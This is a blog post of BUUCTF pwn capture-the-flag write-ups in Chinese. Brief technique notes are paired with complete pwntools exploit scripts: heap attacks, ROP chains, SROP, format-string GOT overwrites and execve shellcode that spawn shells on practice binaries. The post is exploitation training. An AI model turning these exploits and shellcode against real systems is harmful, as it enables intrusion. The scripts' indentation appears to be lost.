buuctf-pwn

bjdctf_2020_babystack2

栈迁移

利用printf获取上个栈帧的ebp:printf遇到 \x00 就会截断,如果我们输入的内容正好把ebp前面的区域完全覆盖,就可以带出ebp。

上个栈帧的ebp(0xffffdo58)到输入s(0xffffd020)的距离是0x38。

image-20230412213112544

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context(os = 'linux',arch = 'i386',log_level = 'debug')
p=process('./ciscn')
#p=remote("node4.buuoj.cn",25506)
system=0x08048400
leave_ret=0x080484b8

p.send(b'a'*0x24+b'bbbb')
p.recvuntil('bbbb')
ebp_addr=u32(p.recv(4))

payload=b'a'*4+p32(system)+p32(0)+p32(ebp_addr-0x28)+b"/bin/sh"
payload=payload.ljust(0x28,b'\x00')
payload+=p32(ebp_addr-0x38)+p32(leave_ret)
p.sendline(payload)
p.interactive()

ciscn_2019_s_3

SROP

sys_write(1u, buf, 0x30uLL) buf的长度为0x10,所以可以带出栈中的数据。减去offset 0x118得到buff的栈地址

image-20230413171615705
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn  import*
context(arch='amd64',os='linux',log_level='debug',terminal = ['tmux', 'splitw', '-h'])

p=process('./ci')
#p=remote('node4.buuoj.cn',27793)
p.sendline(b'/bin/sh\x00'*2+p64(0x4004ed))
p.recv(0x20)
addr=u64(p.recv(8))
print(hex(addr))
addr1=addr-0x118

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = addr1
frame.rsi = 0
frame.rdx =0
frame.rip=0x400517

paylaod = b'/bin/sh\x00' *2 + p64(0x4004da) + p64(0x400501) + bytes(frame)
p.sendline(paylaod)
p.interactive()

babyheap_0ctf_2017

unsorted bin attack、fastbiin attack

https://cloud.tencent.com/developer/article/1764339

思路:

首先使用堆溢出以及unsortedbin attack得到libc加载

  1. 申请5个 chunk,chunk0用于修改chunk1、2,chunk1、2通过free将chunk4带入fastbin,chunk3用于修改chunk4;

  2. free chunk1、2,通过修改chunk0将chunk2,4加入fastbin,并通过chunk3修改chunk4大小(为了成功将chunk4从fastbin种申请出来);

  3. 从fastbin申请出来chunk4,此是index=2,index2,size=0x10和index4,size=0x80指向同一地址;

  4. 将index4 size位还原0x91,free index4进入unsortedbin,fd、bk都指向main_arena + 0x58;

  5. 因为inde2指向index4所以,输出index2就可以得到main_arena + 0x58地址,通过偏移就可以算出libc基址;

    image-20230414095013669

    此时堆情况如下,然后使用fastbin attack修改malloc_hook

    image-20230414102732522

  6. 重新申请index4,size 0x60,然后将其free进入fastbin,再次使用index2的指针向index4写入malloc_hook-0x23,将fake chunk加入fastbin;

    1
    readelf -s libc-2.23.so|grep malloc_hook
  7. 申请两次得到fake chunk,向fake chunk写入onegadget,实现劫持malloc;

  8. 执行malloc,实际执行onegadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
#p = process("./babyheap",env={"LD_PRELOAD":"./libc-2.23.so"})
p=remote("node4.buuoj.cn",27332)

def allo(size):
p.recvuntil("Command: ")
p.sendline(str(1))
p.recvuntil("Size: ")
p.sendline(str(size))

def fill(idx,size,content):
p.recvuntil("Command: ")
p.sendline(str(2))
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.sendline(content)

def free(idx):
p.recvuntil("Command: ")
p.sendline(str(3))
p.recvuntil("Index: ")
p.sendline(str(idx))

def dump(idx):
p.recvuntil("Command: ")
p.sendline(str(4))
p.recvuntil("Index: ")
p.sendline(str(idx))

allo(0x10)#0
allo(0x10)#1
allo(0x10)#2
allo(0x10)#3
allo(0x80)#4
free(1)
free(2)

payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21)
payload += p8(0x80) #chunk2 fd指针指向4号位置,chunk1不在fastbin
fill(0,len(payload),payload)

payload = p64(0)*3 + p64(0x21)
fill(3,len(payload),payload) #chunk4大小改为0x21,chunk4 在fastbin

allo(0x10)#index1重新得到chunk2
allo(0x10)#index2得到chunk4 0x21

payload = p64(0)*3 + p64(0x91)
fill(3,len(payload),payload) #chunk4大小改为0x91 fastbin
allo(0x80) #防止free 4 与top chunk合并
free(4) #chunk4 加入unsortbin
dump(2)
content = u64(p.recvuntil('\x7f')[-6:]+b'\x00\x00') #得到main_arena + 0x58地址
print(hex(content))
libc_base = (content) - 0x3c4b78 #lib加载基地址
print(hex(libc_base))

allo(0x60) #切割new chunk4 = 0x60,index4
free(4) #free index4
payload = p64(libc_base + 0x3C4AED)
fill(2,len(payload),payload) #fake chunk 加入fastbin

allo(0x60) #申请到 new chunk4,index5
allo(0x60) #申请得到 fake chunk.index6
payload = b'a'*(0x23-0x10)
payload += p64(libc_base+0x4526a)
fill(6,len(payload),payload) #将malloc_hook改为one_gadget
allo(20)
p.interactive()

ez_pz_hackover_2016

栈溢出rop

image-20230414153152436
1
2
3
4
5
6
7
8
9
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug')
p = remote("node4.buuoj.cn",29156)
#p = process("./ez")
p.recvuntil('0x')
stack_addr = int(p.recv(8),16)
payload = b'crashme\x00'+b'M'*0x12 + p32(stack_addr-0x1c) + asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

pwnable_orw

ORW、seccomp

ORW类题目是指程序开了沙箱保护,禁用了一些函数的调用(如 execve等),使得我们并不能正常get shell,只能通过ROP的方式调用open, read, write的来读取并打印flag内容。

1
2
seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。主要功能是限制直接通过syscall去调用某些系统函数。最初,Seccomp 只允许使用read、 write、_exit、sigreturn 4个系统调用,一旦调用其他系统调用时,内核就会发送 SIGKILL 信号终止进程。
seccomp是通过prctl系统调用来进行设置的

安装seccomp-tools查看seccomp。使用apt-get安装ruby版本太低可能导致安装失败,建议从ruby官网编译安装。

1
2
3
4
5
6
7
8
9
tar -zxvf ruby-3.0.0.tar
cd ruby-3.0.0
sudo ./configure
sudo make
sudo make install

sudo gem install seccomp-tools
#sudo gem install one_gadget
seccomp-tools dump ./orw
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

#p = process('./orw')
p = remote("node4.buuoj.cn",28070)

shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)
p.recvuntil("shellcode")
p.sendline(shellcode)
p.interactive()

[Black Watch 入群题]PWN

栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *

context(os='linux', arch='i386', log_level='debug')
#p = process('./spwn')
p = remote("node4.buuoj.cn",28097)
elf=ELF('./spwn')
write_plt=elf.plt['write']
#write_plt=0x08048380
write_got=elf.got['write']

p.recvuntil("What is your name?")
p.sendline(b'a'*4+p32(write_plt)+p32(0x8048513)+p32(1)+p32(write_got)+p32(4))
p.recvuntil("What do you want to say?")
p.send(b'a'*0x18+p32(0x0804A300)+p32(0x08048408)) #要用send,sendline会多一个‘\n’,write只接受0x20
write_addr=u32(p.recv(4))
log.info(hex(write_addr))

libc =LibcSearcher('write',write_addr)
libcbase=write_addr-libc.dump('write')
system=libcbase+libc.dump('system')
sh=libcbase+libc.dump('str_bin_sh')
log.info(hex(system))
log.info(hex(sh))

p.recvuntil("What is your name?")
p.sendline(b'a'*4+p32(system)+p32(0)+p32(sh))
p.recvuntil("What do you want to say?")
p.sendline(b'a'*0x18+p32(0x0804A300)+p32(0x08048408))
p.interactive()

[ZJCTF 2019]EasyHeap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

context(os='linux', arch='i386', log_level='debug')
#p=process('./easyheap')
p=remote('node4.buuoj.cn',26555)
elf=ELF('./easyheap')
heaparray=0x6020E0
free_got=elf.got['free']
system_plt=elf.plt['system']

def creat(size,content):
p.recvuntil("Your choice :")
p.sendline('1')
p.recvuntil("Size of Heap :")
p.sendline(str(size))
p.recvuntil("Content of heap:")
p.sendline(content) #context不要加str()

def edit(index,size,content):
p.recvuntil("Your choice :")
p.sendline('2')
p.recvuntil("Index :")
p.sendline(str(index))
p.recvuntil("Size of Heap : ")
p.sendline(str(size))
p.recvuntil("Content of heap : ")
p.sendline(content)

def dele(index):
p.recvuntil("Your choice :")
p.sendline('3')
p.recvuntil("Index :")
p.sendline(str(index))

creat(0x80,'aaaa')
creat(0x80,'aaaa')
creat(0x10,'/bin/sh\x00')
#构造fake chunk
palyload=p64(0)+p64(0x81)+p64(heaparray-0x18)+p64(heaparray-0x10)
palyload=palyload.ljust(0x80,b'a')
palyload+=p64(0x80)+p64(0x90)
edit(0,0x90,palyload)
#free chunk1,发生unlink
dele(1)
#修改free的got表地址为system
edit(0,0x20,p64(0)*3+p64(free_got))
edit(0,8,p64(system_plt))
dele(2) #free(2)执行执行system('/bin/sh')
p.interactive()

hitcontraining_uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import*

context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
#p=remote('node4.buuoj.cn',26320)
p=process('./hacknote')

def add(size,content):
p.sendlineafter('choice :','1')
p.sendlineafter('Note size :',str(size))
p.sendlineafter('Content :',content)

def delete(idx):
p.sendlineafter('choice :','2')
p.sendlineafter('Index :',str(idx))

def printf(idx):
p.sendlineafter('choice :','3')
p.sendlineafter('Index :',str(idx))

shell_addr=0x8048945
add(0x30,'aaaa') #chunk0 0x10、chunk1 0x40
add(0x30,'bbbb') #chunk2 0x10、chunk3 0x40
delete(0)
delete(1) #fastbin 0x10 存在chunk2、0
add(8,p32(shell_addr)) #申请到chunk2、0,向chunk0 put位置写入shell_addr
printf(0)
p.interactive()

inndy_rop

静态编译不需要调用libc,gets()没有限制长度,找到可以一键getshell的rop片段组合加上偏移即可。

1
ROPgadget --binary rop --ropchain
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context(os='linux', arch='i386', log_level='debug')
r=process('./rop')
#r=remote('node4.buuoj.cn',26942)

from struct import pack
# Padding goes here
p = b'a'*0x10
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

r.sendline(p)
r.interactive()

cmcc_simplerop

int 0x80

虽然同上都是静态编译,但是这次限制了输入长度,也没有system函数。但是使用ROPgadget发现int 0x80,可以借助int80(11,”/bin/sh”,null,null)执行。

https://blog.csdn.net/xiaominthere/article/details/17287965

1
2
cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h   #查看32位系统调用号
#define __NR_execve 11
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

#r = process("./rop")
r = remote("node4.buuoj.cn",29705)
int_addr = 0x80493e1
pop_eax = 0x80bae06
read_addr = 0x0806CD50
binsh_addr = 0x080EB584
pop_edx_ecx_ebx = 0x0806e850
payload = b'a'*0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8) #注意将参数pop出去
payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_addr)
r.sendline(payload)
r.sendline('/bin/sh\x00')
r.interactive()

[ZJCTF 2019]Login

反汇编和汇编 https://www.cnblogs.com/Theffth-blog/p/12674951.html

1
2
3
4
5
6
7
8
from pwn import*

#p = process('./login')
p = remote("node4.buuoj.cn",27382)
p.sendlineafter('username: ','admin')
payload = (b'2jctf_pa5sw0rd').ljust(0x60-0x18,b'\x00')+p64(0x400e88)
p.sendlineafter('password: ',payload)
p.interactive()

wustctf2020_closed

这个题用两次close关闭了1和2,对应的文件描述符就是标准输出和标准错误输出。也就是说其实已经到执行system了,只是关闭输出后,无法查看回显。所以我们可以把标准输出重定向到标准输入。 https://blog.csdn.net/xirenwang/article/details/104139866

image-20230418222432608

axb_2019_fmt32

格式化字符串-劫持got表、fmtstr_payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context(os = 'linux', arch = 'i386', log_level = 'debug')
p = process("./fmt32",env={"LD_PRELOAD":"./libc-2.23.so"})
#p = remote("node4.buuoj.cn","29394")
elf = ELF("./fmt32")
libc = ELF("./libc-2.23.so")
read_got = elf.got['read']
#泄漏libc基址
payload = b'a' + p32(read_got) + b'%8$s'
p.sendafter('me:', payload)
read_addr = u32(p.recv(18)[-4:])
libc_base = read_addr - libc.symbols['read']
one_gadget = libc_base + 0x3a80c
#将read got表地址改为one_gadget
payload = b'a' + fmtstr_payload(8, {read_got: one_gadget},numbwritten = 0xa) #printf已经输出“Repeater:a” 0xa个字符
p.sendafter('me:', payload)
#p.sendline('cat flag.txt')
p.interactive()

pwnable_start

汇编shellcode、int 0x80

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context(arch="i386",os="linux",log_level="debug")
r=process('./start')
#r=remote("node4.buuoj.cn",26537)

payload = b"A" * 0x14 + p32(0x08048087)
r.sendafter(":",payload)
stack_addr = u32(r.recv(4))
log.info(hex(stack_addr))
shellcode=asm( "xor ecx,ecx;xor edx,edx ; push edx;push 0x68732f6e;push 0x69622f2f; mov ebx,esp;mov eax,0xb;int 0x80 ")
payload=b'a'*0x14+p32(stack_addr+0x14)+shellcode
r.send(payload)
r.interactive()

ciscn_2019_s_9

汇编shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context(log_level='debug',arch='i386',os='linux')
#p=process('./ciscn_s_9')
p=remote('node4.buuoj.cn',29280)
jump_esp=0x8048554
shellcode='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xB
int 0x80
'''
shellcode=asm(shellcode)
print(len(shellcode)) #23
payload=shellcode.ljust(0x24,b'\x00')+p32(jump_esp)
payload+=asm("sub esp,40;call esp")
p.sendline(payload)
p.interactive()

others_babystack

canary泄漏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *

context(arch="amd64",os="linux",log_level="debug")
#r=process('./babystack')
r=remote("node4.buuoj.cn",25780)
pop_rdi=0x400a93
elf=ELF('./babystack')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=0x400908
#泄漏canary
r.sendlineafter(">>",'1')
r.sendline(b"a"*0x88)
r.sendlineafter(">>",'2')
r.recvuntil('a\n')
canary=u64(r.recv(7).rjust(8,b'\x00'))
print(hex(canary))
#得到put加载地址,libcsearcher
r.sendlineafter(">>",'1')
r.sendline(b"a"*0x88+p64(canary)+b'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr))
r.sendlineafter('>>','3')
r.recv()
puts_addr=u64(r.recv(6).ljust(8,b'\x00'))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')

payload=b'a'*(0x90-0x8)+p64(canary)+b'b'*0x8
payload+=p64(pop_rdi)+p64(bin_addr)+p64(system_addr)
r.sendlineafter('>>','1')
r.sendline(payload)
r.sendlineafter('>>','3')
r.interactive()

ciscn_2019_n_3

UAF

每次create(new)会产生两块chunk(chunk0、chunk1),申请两次(chunk0-3),全部free;再次申请指定大小,将chunk0、chunk2申请出来,此时chunk0作为数据可写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context(arch='i386',os='linux',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
r = process("./ciscn")
elf = ELF("./ciscn")
system_addr = elf.symbols['system']

def new(num,tp,length,value):
r.sendlineafter("CNote > ","1")
r.sendlineafter("Index > ",str(num))
r.sendlineafter("Type > ",str(tp))
r.sendlineafter("Length > ",str(length))
r.sendlineafter("Value > ",value)

def delete(num):
r.sendlineafter("CNote > ","2")
r.sendlineafter("Index > ",str(num))

def show(num):
r.sendlineafter("CNote > ","3")
r.sendlineafter("Index > ",str(num))

new(0,2,0x30,"aaaa")
new(1,2,0x30,"aaaa")
delete(0)
delete(1)
payload = b'bash' + p32(system_addr)
new(2,2,0xc,payload)
delete(0)
r.interactive()

gyctf_2020_borrowstack

栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context(arch='amd64',os='linux',log_level='debug')
#p =process('./stack')
p = remote("node4.buuoj.cn",26941)
elf=ELF('./stack')
libc=ELF('./libc-2.23.so')
rdi=0x400703
main=0x400626
one_gadget = 0x4526a
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']

p.recvuntil("want\n")
p.send(b'a'*0x60+p64(0x601080+0xa0-8)+p64(0x400699)) #有可能覆盖got.plt表,需要抬栈
p.recvuntil("now!\n")
p.send(b'a'*0xa0+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main))
puts_addr=u64(p.recvline()[:-1].ljust(8,b'\x00'))
log.info(hex(puts_addr))

libcbase=puts_addr-libc.sym['puts']
one_gadget=libcbase+0x4526a
p.recvuntil("want\n")
p.send(b'a'*0x60+b'a'*8+p64(one_gadget))
p.recvuntil("now!\n")
p.send(b'a')
p.interactive()

hitcontraining_heapcreator

off-by-one、chunk overlap

image-20230420091521198
  1. 利用 off-by-one 漏洞覆盖下一个 chunk 的 size 字段,从而构造伪造的 chunk 大小,然后 free 加入fastbin;
  2. 从 fastbin 中申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针;
  3. 通过show 泄漏libc,进一步修改free的got表地址,实现got表劫持。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

context(os = 'linux', arch = 'amd64', log_level = 'debug')
p=process('./heapcreator',env={"LD_PRELOAD":"./libc-2.23.so"})
#p=remote('node4.buuoj.cn',27636)
elf=ELF('./heapcreator')
libc=ELF('./libc-2.23.so')

def create(size,content):
p.recvuntil(':')
p.sendline('1')
p.recvuntil('Heap : ')
p.sendline(str(size))
p.recvuntil('heap:')
p.sendline(content)

def edit(idx,content):
p.recvuntil('choice :')
p.sendline('2')
p.recvuntil(' :')
p.sendline(str(idx))
p.recvuntil('heap :')
p.sendline(content)

def show(idx):
p.recvuntil('choice :')
p.sendline('3')
p.recvuntil(' :')
p.sendline(str(idx))

def delete(idx):
p.recvuntil('choice :')
p.sendline('4')
p.recvuntil(' :')
p.sendline(str(idx))

create(0x18,'aaaa') #0
create(0x10,'bbbb') #1
create(0x10,'cccc') #2
edit(0,b'/bin/sh\x00'+p64(0)*2+b'\x81') #off-by-one修改1的size

delete(1)
create(0x70,p64(0)*8+p64(0x8)+p64(elf.got['free'])) #修改2的指针指向free_got
show(2)
free_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) #泄漏free加载地址
log.success('free_addr: '+hex(free_addr))
libcbase=free_addr-libc.symbols['free']
system_addr=libcbase+libc.symbols['system']
log.success('system_addr: '+hex(system_addr))

edit(2,p64(system_addr)) #修改free_got地址
delete(0) #执行system('/bin/sh')
p.interactive()

hitcon2014_stkof

unlink、栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

#p = remote("node4.buuoj.cn",26925)
p = process("./stkof",env={"LD_PRELOAD":"./libc-2.23.so"})
elf = ELF("./stkof")
libc = ELF("./libc-2.23.so")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
free=elf.got['free']

def add(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')

def edit(idx,size,content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')

def delete(idx):
p.sendline('3')
p.sendline(str(idx))

add(0x100) #1
add(0x20) #2
add(0x80) #3
ptr=0x602150
payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)+p64(0x20)+p64(0x90)
edit(2,len(payload),payload) #fake chunk
delete(3) #unlink
p.recvuntil('OK')

payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(puts_got)
edit(2,len(payload),payload)
edit(1,8,p64(puts_plt)) #劫持free got地址为puts plt
delete(3) #输出puts got地址
puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
base=puts_addr-libc.sym['puts'] #libc加载基址
p.recvuntil('OK')
system_addr=base+libc.sym['system']

payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(ptr+0x10)+b"/bin/sh"
edit(2,len(payload),payload)
edit(1,8,p64(system_addr)) #劫持free got地址为system地址
delete(3) #执行system("/bin/sh")
p.interactive()

roarctf_2019_easy_pwn⭐

off-by-one、chunk overlap、unsorted bin attack、fastbin attack

image-20230421101813357

步骤总结:

  1. off-by-one实现chunk overlap,通过操作chunk1 可以操作chunk2;
  2. free chunk2进入unsorted bin,通过show chunk1 得到main_arena+88地址,泄漏libc;
  3. 申请chunk2 0x80并再次free 进入fastbin,通过edit chunk1将包含malloc_hook的fake chunk加入fatbin;
  4. 两次申请后得到fake chunk,修改malloc_hook为onegadget。

注意:每次free fake chunk会检查下一个chunk的prev_size、size

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import * 

#context.log_level = "debug"
p = process("./easy_pwn",env={"LD_PRELOAD":"./libc-2.23-64.so"})
#p = remote("node4.buuoj.cn", 27446)
elf = ELF("./easy_pwn")
libc = ELF("libc-2.23-64.so")

def menu(idx):
p.sendlineafter("choice: ",str(idx))

def add(size):
menu(1)
p.sendlineafter("size: ",str(size))

def edit(idx,size,content):
menu(2)
p.sendlineafter("index: ",str(idx))
p.sendlineafter("size: ",str(size))
p.sendlineafter("content: ",content)

def delete(idx):
menu(3)
p.sendlineafter("index: ",str(idx))

def show(idx):
menu(4)
p.sendlineafter("index: ",str(idx))

add(0x18) #0
add(0x10) #1
add(0x90) #2
add(0x10) #3
payload = b"a"*0x10 + p64(0x20) + p8(0xa1)
edit(0,0x18+10,payload) #off-by-one,修改chunk1的size=0xa1
payload = p64(0)*0xe + p64(0xa0) + p64(0x21)
edit(2,0x80,payload) #修改chunk2,伪造prev_size和size
delete(1)
add(0x90) #重新申请的chunk1和chunk2 overlap

payload = p64(0)*3 + p64(0xa1)
edit(1,0x20,payload) #calloc置零,恢复chunk2 size
delete(2) #free chunk2进入unsortbin
show(1)
libc_base = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x3c4b78 #获得main_arena+88地址
malloc_hook = libc.sym["__malloc_hook"] + libc_base
realloc = libc.sym["realloc"] + libc_base

add(0x80) #申请chunk2
payload = p64(0)*3+p64(0x71)+p64(0)*12 + p64(0x70) + p64(0x21)
edit(1,0x90,payload) #修改chunk1,伪造prev_size和size
delete(2) #chunk2进入fastbin
payload = p64(0)*3 + p64(0x71) + p64(malloc_hook - 0x23)*2 #fastbin attack
edit(1,0x30,payload)
add(0x60)
add(0x60) #申请得到fake chunk
one_gadget = libc_base + 0xf1147
payload = b"a"*11 + p64(one_gadget) + p64(realloc+4) #通过realloc修改malloc_hook为onegaget
edit(4,27,payload)
add(0x60)
p.interactive()

通过 realloc_hook 调整栈帧使 onegadget 生效,将 malloc_hook 劫持为 realloc ,realloc_hook 劫持为 onegadget ,实际运行顺序:

1
malloc ->malloc_hook -> realloc -> realloc_hook -> onegadget

原理:realloc函数一开始有很多的 push ,realloc 函数先执行 push 压栈,然后再跳转执行 realloc_hook 存储的函数。我们就是利用这些 push 调整栈帧。push 的数量发生变化会影响 rsp 的地址(一个 push ,rsp 就会向前移动一个内存单元),这样就可以控制 rsp 的取值,从而满足 onegadget 的执行条件。

https://blog.csdn.net/Maxmalloc/article/details/102535427


buuctf-pwn
http://wangchenchina.github.io/2023/05/04/buuctf-pwn/
作者
Demo
发布于
2023年5月4日
许可协议